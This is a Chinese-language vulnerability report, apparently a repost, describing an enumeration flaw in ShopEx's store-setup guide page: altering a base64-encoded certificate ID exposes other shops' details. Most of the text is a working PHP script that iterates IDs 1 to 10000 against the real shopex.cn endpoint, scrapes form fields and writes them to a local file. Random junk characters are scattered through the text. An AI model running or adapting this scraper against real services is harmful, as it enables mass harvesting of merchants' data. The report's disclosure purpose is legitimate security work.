ShopEx某接口缺陷可遍历所有用户网站

admin

简要描述：
3 h7 S* l" w# R" T4 R2 jShopEx某接口缺陷,可遍历所有网站
详细说明：
, o' I" U; |) `& J) d% M* ~问题出现在shopex 网店使用向导页面

# |" y/ K% F) D2 Z6 n7 d4 ?
7 N% f7 Q+ @2 [7 g. k; }& d
http://guide.ecos.shopex.cn/step ... WlkaWFuLmNvbVwvIn0=
9 N1 y3 H1 q" f4 Y9 W
8 A+ x5 v& W3 f1 s$ K

refer base64解密为 {"certi_id":'1051',"callback_url":"http:\/\/www.joyogame.net\/"}
4 a5 L6 w2 W: J: x( }, L


! U! q' V8 K1 h$ i" S7 L* C我们修改certi_id 即可遍历所有使用了ShopEx程序的网站


% x. ]3 T: Z/ E8 W
7 \. Y. @. n, O+ t' P<?php

                for ($i=1; $i < 10000; $i++) { //遍历

/ T' C! c  X) j* H                        ShowshopExD($i);

                }
' L0 j3 h4 d4 g# B
7 k, c& A  D9 y4 Y                function ShowshopExD($cid) {
) R/ l) ?. \! N, x) L4 o$ m  s, }
                $url='http://guide.ecos.shopex.cn/step2.php';

                $refer = base64_encode('{"certi_id":'.intval($cid).',"callback_url":"http:\/\/www.a.com\/"}');

1 f+ N& O1 N& j, ]. b3 o        $url = $url.'?refer='.$refer;

# t2 h1 U7 K$ V' P2 @1 |8 Q        $ch = curl_init($url);

' O( _( u6 K2 _2 c; n6 n* `, v5 L        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true) ;

        curl_setopt($ch, CURLOPT_BINARYTRANSFER, true) ;
. C6 c' d$ y& k! r
! H8 o4 i$ H( H* B# Q$ P, \& g        $result = curl_exec($ch);
6 ]: M6 ~- p1 ?8 W- p
% N2 i1 D" A" A+ {1 o# L        $result = mb_convert_encoding($result, "gb2312", "UTF-8");
- R2 ~" ]; ~, I% [7 }: N
& ^+ r/ F( e# `+ `% U& |/ T- H        if(strpos($result,$refer))
* M( W+ t9 L& w  a
        {

/ V0 A8 L8 W1 K; M" F# u# W7 n                $fp = fopen("c:/shopEx.txt",'ab'); //保存文件

" {4 q; ?- x. c8 G* v9 A                        preg_match_all('/<input\stype="text"(.*?)\/>/',$result,$value);
( G: O; b* m) }
                foreach ($value[1] as $key) {

) a) ^0 `8 }" o' X0 f                        preg_match_all('/name="(.*?)"(.*?)value="(.*?)"/',trim($key),$res);
' e* A  y* l! s, q
; `3 t  o7 i! U5 m                        echo $res[1][0].':'.$res[3][0]."\r\n";
9 R1 C' Y) Y6 u6 x" h% _* C+ |1 B
+ J8 G* V3 e# r$ l                        $col =$res[1][0].':'.$res[3][0]."\r\n";
  t5 p4 }8 n' T3 V+ C
( f9 q3 \( F7 l. ?/ r5 p                        fwrite($fp, $col, strlen($col));

                }

                echo '--------------------------------'."\r\n";
' a5 l/ a  P5 p
& `" H) D4 f& Y6 F) \  ^                fclose($fp);

        }

- o, A" v6 `" n6 ]        flush();

  z# j) K7 p! x        curl_close($ch);
+ ?% b# e$ {& |$ T0 c
                }

?>
+ H. H8 j/ Q- y  s1 c漏洞证明：
http://www.myhack58.com/Article/UploadPic/2013-9/201392110502740490.jpg
8 k: G5 E. {8 n+ |$ k% B4 s  R- ]refer换成其他加密方式
) T* X( G  V: z( }! z: x/ o